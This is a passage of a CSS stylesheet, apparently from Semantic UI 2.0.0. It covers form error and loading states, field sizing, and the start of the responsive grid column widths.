input[type=\"tel\"],\n.ui.form .field.error input[type=\"time\"],\n.ui.form .field.error input[type=\"text\"],\n.ui.form .field.error input[type=\"url\"] {\n  background: #fff6f6;\n  border-color: #e0b4b4;\n  color: #9f3a38;\n  border-radius: 0.28571429rem;\n  box-shadow: none;\n}\n\n.ui.form .field.error textarea:focus,\n.ui.form .field.error select:focus,\n.ui.form .field.error input:not([type]):focus,\n.ui.form .field.error input[type=\"date\"]:focus,\n.ui.form .field.error input[type=\"datetime-local\"]:focus,\n.ui.form .field.error input[type=\"email\"]:focus,\n.ui.form .field.error input[type=\"number\"]:focus,\n.ui.form .field.error input[type=\"password\"]:focus,\n.ui.form .field.error input[type=\"search\"]:focus,\n.ui.form .field.error input[type=\"tel\"]:focus,\n.ui.form .field.error input[type=\"time\"]:focus,\n.ui.form .field.error input[type=\"text\"]:focus,\n.ui.form .field.error input[type=\"url\"]:focus {\n  background: #fff6f6;\n  border-color: #e0b4b4;\n  color: #9f3a38;\n  -webkit-appearance: none;\n  box-shadow: none;\n}\n\n/* Preserve Native Select Stylings */\n\n.ui.form .field.error select {\n  -webkit-appearance: menulist-button;\n}\n\n/*------------------\n    Dropdown Error\n--------------------*/\n\n.ui.form .fields.error .field .ui.dropdown,\n.ui.form .fields.error .field .ui.dropdown .item,\n.ui.form .field.error .ui.dropdown,\n.ui.form .field.error .ui.dropdown .text,\n.ui.form .field.error .ui.dropdown .item {\n  background: #fff6f6;\n  color: #9f3a38;\n}\n\n.ui.form .fields.error .field .ui.dropdown,\n.ui.form .field.error .ui.dropdown {\n  border-color: #e0b4b4 !important;\n}\n\n.ui.form .fields.error .field .ui.dropdown:hover,\n.ui.form .field.error .ui.dropdown:hover {\n  border-color: #e0b4b4 !important;\n}\n\n.ui.form .fields.error .field .ui.dropdown:hover .menu,\n.ui.form .field.error .ui.dropdown:hover .menu {\n  border-color: #e0b4b4;\n}\n\n.ui.form .fields.error .field .ui.multiple.selection.dropdown > .label,\n.ui.form .field.error .ui.multiple.selection.dropdown > .label {\n  background-color: #eacbcb;\n  color: #9f3a38;\n}\n\n/* Hover */\n\n.ui.form .fields.error .field .ui.dropdown .menu .item:hover,\n.ui.form .field.error .ui.dropdown .menu .item:hover {\n  background-color: #fbe7e7;\n}\n\n/* Selected */\n\n.ui.form .fields.error .field .ui.dropdown .menu .selected.item,\n.ui.form .field.error .ui.dropdown .menu .selected.item {\n  background-color: #fbe7e7;\n}\n\n/* Active */\n\n.ui.form .fields.error .field .ui.dropdown .menu .active.item,\n.ui.form .field.error .ui.dropdown .menu .active.item {\n  background-color: #fdcfcf !important;\n}\n\n/*--------------------\n    Checkbox Error\n---------------------*/\n\n.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label,\n.ui.form .field.error .checkbox:not(.toggle):not(.slider) label,\n.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box,\n.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box {\n  color: #9f3a38;\n}\n\n.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label:before,\n.ui.form .field.error .checkbox:not(.toggle):not(.slider) label:before,\n.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box:before,\n.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box:before {\n  background: #fff6f6;\n  border-color: #e0b4b4;\n}\n\n.ui.form .fields.error .field .checkbox label:after,\n.ui.form .field.error .checkbox label:after,\n.ui.form .fields.error .field .checkbox .box:after,\n.ui.form .field.error .checkbox .box:after {\n  color: #9f3a38;\n}\n\n/*--------------------\n       Disabled\n---------------------*/\n\n.ui.form .disabled.fields .field,\n.ui.form .disabled.field,\n.ui.form .field :disabled {\n  opacity: 0.45;\n}\n\n.ui.form .field.disabled label {\n  opacity: 0.45;\n}\n\n.ui.form .field.disabled :disabled {\n  opacity: 1;\n}\n\n/*--------------\n    Loading\n---------------*/\n\n.ui.loading.form {\n  position: relative;\n  cursor: default;\n  point-events: none;\n  text-shadow: none !important;\n  color: transparent !important;\n  -webkit-transition: all 0s linear;\n  transition: all 0s linear;\n  z-index: 100;\n}\n\n.ui.loading.form:before {\n  position: absolute;\n  content: '';\n  top: 0%;\n  left: 0%;\n  background: rgba(255, 255, 255, 0.8);\n  width: 100%;\n  height: 100%;\n  z-index: 100;\n}\n\n.ui.loading.form:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -1.5em 0em 0em -1.5em;\n  width: 3em;\n  height: 3em;\n  -webkit-animation: form-spin 0.6s linear;\n  animation: form-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1);\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n  visibility: visible;\n  z-index: 101;\n}\n\n@-webkit-keyframes form-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes form-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n/*******************************\n         Element Types\n*******************************/\n\n/*--------------------\n     Required Field\n---------------------*/\n\n.ui.form .required.fields:not(.grouped) > .field > label:after,\n.ui.form .required.fields.grouped > label:after,\n.ui.form .required.field > label:after,\n.ui.form .required.fields:not(.grouped) > .field > .checkbox:after,\n.ui.form .required.field > .checkbox:after {\n  margin: -0.2em 0em 0em 0.2em;\n  content: '*';\n  color: #db2828;\n}\n\n.ui.form .required.fields:not(.grouped) > .field > label:after,\n.ui.form .required.fields.grouped > label:after,\n.ui.form .required.field > label:after {\n  display: inline-block;\n  vertical-align: top;\n}\n\n.ui.form .required.fields:not(.grouped) > .field > .checkbox:after,\n.ui.form .required.field > .checkbox:after {\n  position: absolute;\n  top: 0%;\n  left: 100%;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------------\n    Inverted Colors\n---------------------*/\n\n.ui.inverted.form label,\n.ui.form .inverted.segment label,\n.ui.form .inverted.segment .ui.checkbox label,\n.ui.form .inverted.segment .ui.checkbox .box,\n.ui.inverted.form .ui.checkbox label,\n.ui.inverted.form .ui.checkbox .box {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n/*--------------------\n     Field Groups\n---------------------*/\n\n/* Grouped Vertically */\n\n.ui.form .grouped.fields {\n  display: block;\n  margin: 0em 0em 1em;\n}\n\n.ui.form .grouped.fields:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.form .grouped.fields > label {\n  margin: 0em 0em 0.28571429rem 0em;\n  color: rgba(0, 0, 0, 0.87);\n  font-size: 0.92857143em;\n  font-weight: bold;\n  text-transform: none;\n}\n\n.ui.form .grouped.fields .field,\n.ui.form .grouped.inline.fields .field {\n  display: block;\n  margin: 0.5em 0em;\n  padding: 0em;\n}\n\n/*--------------------\n        Fields\n---------------------*/\n\n/* Split fields */\n\n.ui.form .fields {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n}\n\n.ui.form .fields > .field {\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  padding-left: 0.5em;\n  padding-right: 0.5em;\n}\n\n.ui.form .fields > .field:first-child {\n  border-left: none;\n  box-shadow: none;\n}\n\n/* Other Combinations */\n\n.ui.form .two.fields > .fields,\n.ui.form .two.fields > .field {\n  width: 50%;\n}\n\n.ui.form .three.fields > .fields,\n.ui.form .three.fields > .field {\n  width: 33.33333333%;\n}\n\n.ui.form .four.fields > .fields,\n.ui.form .four.fields > .field {\n  width: 25%;\n}\n\n.ui.form .five.fields > .fields,\n.ui.form .five.fields > .field {\n  width: 20%;\n}\n\n.ui.form .six.fields > .fields,\n.ui.form .six.fields > .field {\n  width: 16.66666667%;\n}\n\n.ui.form .seven.fields > .fields,\n.ui.form .seven.fields > .field {\n  width: 14.28571429%;\n}\n\n.ui.form .eight.fields > .fields,\n.ui.form .eight.fields > .field {\n  width: 12.5%;\n}\n\n.ui.form .nine.fields > .fields,\n.ui.form .nine.fields > .field {\n  width: 11.11111111%;\n}\n\n.ui.form .ten.fields > .fields,\n.ui.form .ten.fields > .field {\n  width: 10%;\n}\n\n/* Swap to full width on mobile */\n\n@media only screen and (max-width: 767px) {\n  .ui.form .fields {\n    -webkit-flex-wrap: wrap;\n    -ms-flex-wrap: wrap;\n    flex-wrap: wrap;\n  }\n\n  .ui.form .two.fields > .fields,\n  .ui.form .two.fields > .field,\n  .ui.form .three.fields > .fields,\n  .ui.form .three.fields > .field,\n  .ui.form .four.fields > .fields,\n  .ui.form .four.fields > .field,\n  .ui.form .five.fields > .fields,\n  .ui.form .five.fields > .field,\n  .ui.form .six.fields > .fields,\n  .ui.form .six.fields > .field,\n  .ui.form .seven.fields > .fields,\n  .ui.form .seven.fields > .field,\n  .ui.form .eight.fields > .fields,\n  .ui.form .eight.fields > .field,\n  .ui.form .nine.fields > .fields,\n  .ui.form .nine.fields > .field,\n  .ui.form .ten.fields > .fields,\n  .ui.form .ten.fields > .field {\n    width: 100% !important;\n    margin: 0em 0em 1em;\n    padding-left: 0%;\n    padding-right: 0%;\n  }\n}\n\n.ui.form .fields .field:first-child {\n  padding-left: 0%;\n}\n\n.ui.form .fields .field:last-child {\n  padding-right: 0%;\n}\n\n/* Sizing Combinations */\n\n.ui.form .fields .wide.field {\n  width: 6.25%;\n  padding-left: 0.5em;\n  padding-right: 0.5em;\n}\n\n.ui.form .fields .wide.field:first-child {\n  padding-left: 0%;\n}\n\n.ui.form .fields .wide.field:last-child {\n  padding-right: 0%;\n}\n\n.ui.form .one.wide.field {\n  width: 6.25% !important;\n}\n\n.ui.form .two.wide.field {\n  width: 12.5% !important;\n}\n\n.ui.form .three.wide.field {\n  width: 18.75% !important;\n}\n\n.ui.form .four.wide.field {\n  width: 25% !important;\n}\n\n.ui.form .five.wide.field {\n  width: 31.25% !important;\n}\n\n.ui.form .six.wide.field {\n  width: 37.5% !important;\n}\n\n.ui.form .seven.wide.field {\n  width: 43.75% !important;\n}\n\n.ui.form .eight.wide.field {\n  width: 50% !important;\n}\n\n.ui.form .nine.wide.field {\n  width: 56.25% !important;\n}\n\n.ui.form .ten.wide.field {\n  width: 62.5% !important;\n}\n\n.ui.form .eleven.wide.field {\n  width: 68.75% !important;\n}\n\n.ui.form .twelve.wide.field {\n  width: 75% !important;\n}\n\n.ui.form .thirteen.wide.field {\n  width: 81.25% !important;\n}\n\n.ui.form .fourteen.wide.field {\n  width: 87.5% !important;\n}\n\n.ui.form .fifteen.wide.field {\n  width: 93.75% !important;\n}\n\n.ui.form .sixteen.wide.field {\n  width: 100% !important;\n}\n\n/* Swap to full width on mobile */\n\n@media only screen and (max-width: 767px) {\n  .ui.form .two.fields > .fields,\n  .ui.form .two.fields > .field,\n  .ui.form .three.fields > .fields,\n  .ui.form .three.fields > .field,\n  .ui.form .four.fields > .fields,\n  .ui.form .four.fields > .field,\n  .ui.form .five.fields > .fields,\n  .ui.form .five.fields > .field,\n  .ui.form .fields > .two.wide.field,\n  .ui.form .fields > .three.wide.field,\n  .ui.form .fields > .four.wide.field,\n  .ui.form .fields > .five.wide.field,\n  .ui.form .fields > .six.wide.field,\n  .ui.form .fields > .seven.wide.field,\n  .ui.form .fields > .eight.wide.field,\n  .ui.form .fields > .nine.wide.field,\n  .ui.form .fields > .ten.wide.field,\n  .ui.form .fields > .eleven.wide.field,\n  .ui.form .fields > .twelve.wide.field,\n  .ui.form .fields > .thirteen.wide.field,\n  .ui.form .fields > .fourteen.wide.field,\n  .ui.form .fields > .fifteen.wide.field,\n  .ui.form .fields > .sixteen.wide.field {\n    width: 100% !important;\n    margin: 0em 0em 1em;\n    padding-left: 0%;\n    padding-right: 0%;\n  }\n}\n\n/*--------------------\n    Inline Fields\n---------------------*/\n\n.ui.form .inline.fields {\n  margin: 0em 0em 1em;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.ui.form .inline.fields .field {\n  margin: 0em;\n  padding: 0em 1em 0em 0em;\n}\n\n/* Inline Label */\n\n.ui.form .inline.fields > label,\n.ui.form .inline.fields .field > label,\n.ui.form .inline.fields .field > p,\n.ui.form .inline.field > label,\n.ui.form .inline.field > p {\n  display: inline-block;\n  width: auto;\n  margin-top: 0em;\n  margin-bottom: 0em;\n  vertical-align: baseline;\n  font-size: 0.92857143em;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.87);\n  text-transform: none;\n}\n\n/* Grouped Inline Label */\n\n.ui.form .inline.fields > label {\n  margin: 0.035714em 1em 0em 0em;\n}\n\n/* Inline Input */\n\n.ui.form .inline.fields .field > input,\n.ui.form .inline.fields .field > select,\n.ui.form .inline.fields .field > .ui.input,\n.ui.form .inline.field > input,\n.ui.form .inline.field > select,\n.ui.form .inline.field > .ui.input {\n  display: inline-block;\n  width: auto;\n  margin-top: 0em;\n  margin-bottom: 0em;\n  vertical-align: middle;\n  font-size: 1em;\n}\n\n/* Label */\n\n.ui.form .inline.fields .field > :first-child,\n.ui.form .inline.field > :first-child {\n  margin: 0em 0.85714286em 0em 0em;\n}\n\n.ui.form .inline.fields .field > :only-child,\n.ui.form .inline.field > :only-child {\n  margin: 0em;\n}\n\n/* Wide */\n\n.ui.form .inline.fields .wide.field {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.ui.form .inline.fields .wide.field > input,\n.ui.form .inline.fields .wide.field > select,\n.ui.form .inline.fields .wide.field > .ui.input {\n  width: 100%;\n}\n\n/*--------------------\n        Sizes\n---------------------*/\n\n/* Standard */\n\n.ui.small.form {\n  font-size: 0.92857143rem;\n}\n\n/* Medium */\n\n.ui.form {\n  font-size: 1rem;\n}\n\n/* Large */\n\n.ui.large.form {\n  font-size: 1.14285714rem;\n}\n\n/* Huge */\n\n.ui.huge.form {\n  font-size: 1.42857143rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Grid\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Standard\n*******************************/\n\n.ui.grid {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -webkit-box-align: stretch;\n  -webkit-align-items: stretch;\n  -ms-flex-align: stretch;\n  align-items: stretch;\n  padding: 0em;\n}\n\n/*----------------------\n      Remove Gutters\n-----------------------*/\n\n.ui.grid {\n  margin-top: -1rem;\n  margin-bottom: -1rem;\n  margin-left: -1rem;\n  margin-right: -1rem;\n}\n\n.ui.relaxed.grid {\n  margin-left: -1.5rem;\n  margin-right: -1.5rem;\n}\n\n.ui[class*=\"very relaxed\"].grid {\n  margin-left: -2.5rem;\n  margin-right: -2.5rem;\n}\n\n/* Preserve Rows Spacing on Consecutive Grids */\n\n.ui.grid + .grid {\n  margin-top: 1rem;\n}\n\n/*-------------------\n       Columns\n--------------------*/\n\n/* Standard 16 column */\n\n.ui.grid > .column:not(.row),\n.ui.grid > .row > .column {\n  position: relative;\n  display: inline-block;\n  width: 6.25%;\n  padding-left: 1rem;\n  padding-right: 1rem;\n  vertical-align: top;\n}\n\n.ui.grid > * {\n  padding-left: 1rem;\n  padding-right: 1rem;\n}\n\n/*-------------------\n        Rows\n--------------------*/\n\n.ui.grid > .row {\n  position: relative;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -webkit-box-pack: inherit;\n  -webkit-justify-content: inherit;\n  -ms-flex-pack: inherit;\n  justify-content: inherit;\n  -webkit-box-align: stretch;\n  -webkit-align-items: stretch;\n  -ms-flex-align: stretch;\n  align-items: stretch;\n  width: 100% !important;\n  padding: 0rem;\n  padding-top: 1rem;\n  padding-bottom: 1rem;\n}\n\n/*-------------------\n       Columns\n--------------------*/\n\n/* Vertical padding when no rows */\n\n.ui.grid > .column:not(.row) {\n  padding-top: 1rem;\n  padding-bottom: 1rem;\n}\n\n.ui.grid > .row > .column {\n  margin-top: 0em;\n  margin-bottom: 0em;\n}\n\n/*-------------------\n      Content\n--------------------*/\n\n.ui.grid > .row > img,\n.ui.grid > .row > .column > img {\n  max-width: 100%;\n}\n\n/*-------------------\n    Loose Coupling\n--------------------*/\n\n/* Collapse Margin on Consecutive Grid */\n\n.ui.grid > .ui.grid:first-child {\n  margin-top: 0em;\n}\n\n.ui.grid > .ui.grid:last-child {\n  margin-bottom: 0em;\n}\n\n/* Segment inside Aligned Grid */\n\n.ui.grid .aligned.row > .column > .segment:not(.compact),\n.ui.aligned.grid .column > .segment:not(.compact) {\n  width: 100%;\n}\n\n/* Align Dividers with Gutter */\n\n.ui.grid .row + .ui.divider {\n  -webkit-box-flex: 1;\n  -webkit-flex-grow: 1;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n  margin: 1rem 1rem;\n}\n\n.ui.grid .column + .ui.vertical.divider {\n  height: calc(50% -  1rem );\n}\n\n/* Remove Border on Last Horizontal Segment */\n\n.ui.grid > .row > .column:last-child > .horizontal.segment,\n.ui.grid > .column:last-child > .horizontal.segment {\n  box-shadow: none;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-----------------------\n       Page Grid\n-------------------------*/\n\n@media only screen and (max-width: 767px) {\n  .ui.page.grid {\n    width: auto;\n    padding-left: 0em;\n    padding-right: 0em;\n    margin-left: 0em;\n    margin-right: 0em;\n  }\n}\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui.page.grid {\n    width: auto;\n    margin-left: 0em;\n    margin-right: 0em;\n    padding-left: 2em;\n    padding-right: 2em;\n  }\n}\n\n@media only screen and (min-width: 992px) and (max-width: 1199px) {\n  .ui.page.grid {\n    width: auto;\n    margin-left: 0em;\n    margin-right: 0em;\n    padding-left: 3%;\n    padding-right: 3%;\n  }\n}\n\n@media only screen and (min-width: 1200px) and (max-width: 1919px) {\n  .ui.page.grid {\n    width: auto;\n    margin-left: 0em;\n    margin-right: 0em;\n    padding-left: 15%;\n    padding-right: 15%;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.page.grid {\n    width: auto;\n    margin-left: 0em;\n    margin-right: 0em;\n    padding-left: 23%;\n    padding-right: 23%;\n  }\n}\n\n/*-------------------\n     Column Count\n--------------------*/\n\n/* Assume full width with one column */\n\n.ui.grid > .column:only-child,\n.ui.grid > .row > .column:only-child {\n  width: 100%;\n}\n\n/* Grid Based */\n\n.ui[class*=\"one column\"].grid > .row > .column,\n.ui[class*=\"one column\"].grid > .column:not(.row) {\n  width: 100%;\n}\n\n.ui[class*=\"two column\"].grid > .row > .column,\n.ui[class*=\"two column\"].grid > .column:not(.row) {\n  width: 50%;\n}\n\n.ui[class*=\"three column\"].grid > .row > .column,\n.ui[class*=\"three column\"].grid > .column:not(.row) {\n  width: 33.33333333%;\n}\n\n.ui[class*=\"four column\"].grid > .row > .column,\n.ui[class*=\"four column\"].grid > .column:not(.row) {\n  width: 25%;\n}\n\n.ui[class*=\"five column\"].grid > .row > .column,\n.ui[class*=\"five column\"].grid > .column:not(.row) {\n  width: 20%;\n}\n\n.ui[class*=\"six column\"].grid > .row > .column,\n.ui[class*=\"six column\"].grid > .column:not(.row) {\n  width: 16.66666667%;\n}\n\n.ui[class*=\"seven column\"].grid > .row > .column,\n.ui[class*=\"seven column\"].grid > .column:not(.row) {\n  width: 14.28571429%;\n}\n\n.ui[class*=\"eight column\"].grid > .row > .column,\n.ui[class*=\"eight column\"].grid > .column:not(.row) {\n  width: 12.5%;\n}\n\n.ui[class*=\"nine column\"].grid > .row > .column,\n.ui[class*=\"nine column\"].grid > .column:not(.row) {\n  width: 11.11111111%;\n}\n\n.ui[class*=\"ten column\"].grid > .row > .column,\n.ui[class*=\"ten column\"].grid > .column:not(.row) {\n  width: 10%;\n}\n\n.ui[class*=\"eleven column\"].grid > .row > .column,\n.ui[class*=\"eleven column\"].grid > .column:not(.row) {\n  width: 9.09090909%;\n}\n\n.ui[class*=\"twelve column\"].grid > .row > .column,\n.ui[class*=\"twelve column\"].grid > .column:not(.row) {\n  width: 8.33333333%;\n}\n\n.ui[class*=\"thirteen column\"].grid > .row > .column,\n.ui[class*=\"thirteen column\"].grid > .column:not(.row) {\n  width: 7.69230769%;\n}\n\n.ui[class*=\"fourteen column\"].grid > .row > .column,\n.ui[class*=\"fourteen column\"].grid > .column:not(.row) {\n  width: 7.14285714%;\n}\n\n.ui[class*=\"fifteen column\"].grid > .row > .column,\n.ui[class*=\"fifteen column\"].grid > .column:not(.row) {\n  width: 6.66666667%;\n}\n\n.ui[class*=\"sixteen column\"].grid > .row > .column,\n.ui[class*=\"sixteen column\"].grid > .column:not(.row) {\n  width: 6.25%;\n}\n\n/* Row Based Overrides */\n\n.ui.grid > [class*=\"one column\"].row > .column {\n  width: 100% !important;\n}\n\n.ui.grid > [class*=\"two column\"].row > .column {\n  width: 50% !important;\n}\n\n.ui.grid > [class*=\"three column\"].row > .column {\n  width: 33.33333333% !important;\n}\n\n.ui.grid > [class*=\"four column\"].row > .column {\n  width: 25% !important;\n}\n\n.ui.grid > [class*=\"five column\"].row > .column {\n  width: 20% !important;\n}\n\n.ui.grid > [class*=\"six column\"].row > .column {\n  width: 16.66666667% !important;\n}\n\n.ui.grid > [class*=\"seven column\"].row > .column {\n  width: 14.28571429% !important;\n}\n\n.ui.grid > [class*=\"eight column\"].row > .column {\n  width: 12.5% !important;\n}\n\n.ui.grid > [class*=\"nine column\"].row > .column {\n  width: 11.11111111% !important;\n}\n\n.ui.grid > [class*=\"ten column\"].row > .column {\n  width: 10% !important;\n}\n\n.ui.grid > [class*=\"eleven column\"].row > .column {\n  width: 9.09090909% !important;\n}\n\n.ui.grid > [class*=\"twelve column\"].row > .column {\n  width: 8.33333333% !important;\n}\n\n.ui.grid > [class*=\"thirteen column\"].row > .column {\n  width: 7.69230769% !important;\n}\n\n.ui.grid > [class*=\"fourteen column\"].row > .column {\n  width: 7.14285714% !important;\n}\n\n.ui.grid > [class*=\"fifteen column\"].row > .column {\n  width: 6.66666667% !important;\n}\n\n.ui.grid > [class*=\"sixteen column\"].row > .column {\n  width: 6.25% !important;\n}\n\n/*-------------------\n    Column Width\n--------------------*/\n\n/* Sizing Combinations */\n\n.ui.grid > .row > [class*=\"one wide\"].column,\n.ui.grid > .column.row > [class*=\"one wide\"].column,\n.ui.grid > [class*=\"one wide\"].column,\n.ui.column.grid > [class*=\"one wide\"].column {\n  width: 6.25% !important;\n}\n\n.ui.grid > .row > [class*=\"two wide\"].column,\n.ui.grid > .column.row > [class*=\"two wide\"].column,\n.ui.grid > [class*=\"two wide\"].column,\n.ui.column.grid > [class*=\"two wide\"].column {\n  width: 12.5% !important;\n}\n\n.ui.grid > .row > [class*=\"three wide\"].column,\n.ui.grid > .column.row > [class*=\"three wide\"].column,\n.ui.grid > [class*=\"three wide\"].column,\n.ui.column.grid > [class*=\"three wide\"].column {\n  width: 18.75% !important;\n}\n\n.ui.grid > .row > [class*=\"four wide\"].column,\n.ui.grid > .column.row > [class*=\"four wide\"].column,\n.ui.grid > [class*=\"four wide\"].column,\n.ui.column.grid > [class*=\"four wide\"].column {\n  width: 25% !important;\n}\n\n.ui.grid > .row > [class*=\"five wide\"].column,\n.ui.grid > .column.row > [class*=\"five wide\"].column,\n.ui.grid > [class*=\"five wide\"].column,\n.ui.column.grid > [class*=\"five wide\"].column {\n  width: 31.25% !important;\n}\n\n.ui.grid > .row > [class*=\"six wide\"].column,\n.ui.grid > .column.row > [class*=\"six wide\"].column,\n.ui.grid > [class*=\"six wide\"].column,\n.ui.column.grid > [class*=\"six wide\"].column {\n  width: 37.5% !important;\n}\n\n.ui.grid > .row > [class*=\"seven wide\"].column,\n.ui.grid > .column.row > [class*=\"seven wide\"].column,\n.ui.grid > [class*=\"seven wide\"].column,\n.ui.column.grid > [class*=\"seven wide\"].column {\n  width: 43.75% !important;\n}\n\n.ui.grid > .row > [class*=\"eight wide\"].column,\n.ui.grid > .column.row > [class*=\"eight wide\"].column,\n.ui.grid > [class*=\"eight wide\"].column,\n.ui.column.grid > [class*=\"eight wide\"].column {\n  width: 50% !important;\n}\n\n.ui.grid > .row > [class*=\"nine wide\"].column,\n.ui.grid > .column.row > [class*=\"nine wide\"].column,\n.ui.grid > [class*=\"nine wide\"].column,\n.ui.column.grid > [class*=\"nine wide\"].column {\n  width: 56.25% !important;\n}\n\n.ui.grid > .row > [class*=\"ten wide\"].column,\n.ui.grid > .column.row > [class*=\"ten wide\"].column,\n.ui.grid > [class*=\"ten wide\"].column,\n.ui.column.grid > [class*=\"ten wide\"].column {\n  width: 62.5% !important;\n}\n\n.ui.grid > .row > [class*=\"eleven wide\"].column,\n.ui.grid > .column.row > [class*=\"eleven wide\"].column,\n.ui.grid > [class*=\"eleven wide\"].column,\n.ui.column.grid > [class*=\"eleven wide\"].column {\n  width: 68.75% !important;\n}\n\n.ui.grid > .row > [class*=\"twelve wide\"].column,\n.ui.grid > .column.row > [class*=\"twelve wide\"].column,\n.ui.grid > [class*=\"twelve wide\"].column,\n.ui.column.grid > [class*=\"twelve wide\"].column {\n  width: 75% !important;\n}\n\n.ui.grid > .row > [class*=\"thirteen wide\"].column,\n.ui.grid > .column.row > [class*=\"thirteen wide\"].column,\n.ui.grid > [class*=\"thirteen wide\"].column,\n.ui.column.grid > [class*=\"thirteen wide\"].column {\n  width: 81.25% !important;\n}\n\n.ui.grid > .row > [class*=\"fourteen wide\"].column,\n.ui.grid > .column.row > [class*=\"fourteen wide\"].column,\n.ui.grid > [class*=\"fourteen wide\"].column,\n.ui.column.grid > [class*=\"fourteen wide\"].column {\n  width: 87.5% !important;\n}\n\n.ui.grid > .row > [class*=\"fifteen wide\"].column,\n.ui.grid > .column.row > [class*=\"fifteen wide\"].column,\n.ui.grid > [class*=\"fifteen wide\"].column,\n.ui.column.grid > [class*=\"fifteen wide\"].column {\n  width: 93.75% !important;\n}\n\n.ui.grid > .row > [class*=\"sixteen wide\"].column,\n.ui.grid > .column.row > [class*=\"sixteen wide\"].column,\n.ui.grid > [class*=\"sixteen wide\"].column,\n.ui.column.grid > [class*=\"sixteen wide\"].column {\n  width: 100% !important;\n}\n\n/*----------------------\n    Width per Device\n-----------------------*/\n\n/* Mobile Sizing Combinations */\n\n@media only screen and (min-width: 320px) and (max-width: 767px) {\n  .ui.grid > .row > [class*=\"one wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"one wide mobile\"].column,\n  .ui.grid > [class*=\"one wide mobile\"].column,\n  .ui.column.grid > [class*=\"one wide mobile\"].column {\n    width: 6.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"two wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"two wide mobile\"].column,\n  .ui.grid > [class*=\"two wide mobile\"].column,\n  .ui.column.grid > [class*=\"two wide mobile\"].column {\n    width: 12.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"three wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"three wide mobile\"].column,\n  .ui.grid > [class*=\"three wide mobile\"].column,\n  .ui.column.grid > [class*=\"three wide mobile\"].column {\n    width: 18.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"four wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"four wide mobile\"].column,\n  .ui.grid > [class*=\"four wide mobile\"].column,\n  .ui.column.grid > [class*=\"four wide mobile\"].column {\n    width: 25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"five wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"five wide mobile\"].column,\n  .ui.grid > [class*=\"five wide mobile\"].column,\n  .ui.column.grid > [class*=\"five wide mobile\"].column {\n    width: 31.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"six wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"six wide mobile\"].column,\n  .ui.grid > [class*=\"six wide mobile\"].column,\n  .ui.column.grid > [class*=\"six wide mobile\"].column {\n    width: 37.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"seven wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"seven wide mobile\"].column,\n  .ui.grid > [class*=\"seven wide mobile\"].column,\n  .ui.column.grid > [class*=\"seven wide mobile\"].column {\n    width: 43.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eight wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"eight wide mobile\"].column,\n  .ui.grid > [class*=\"eight wide mobile\"].column,\n  .ui.column.grid > [class*=\"eight wide mobile\"].column 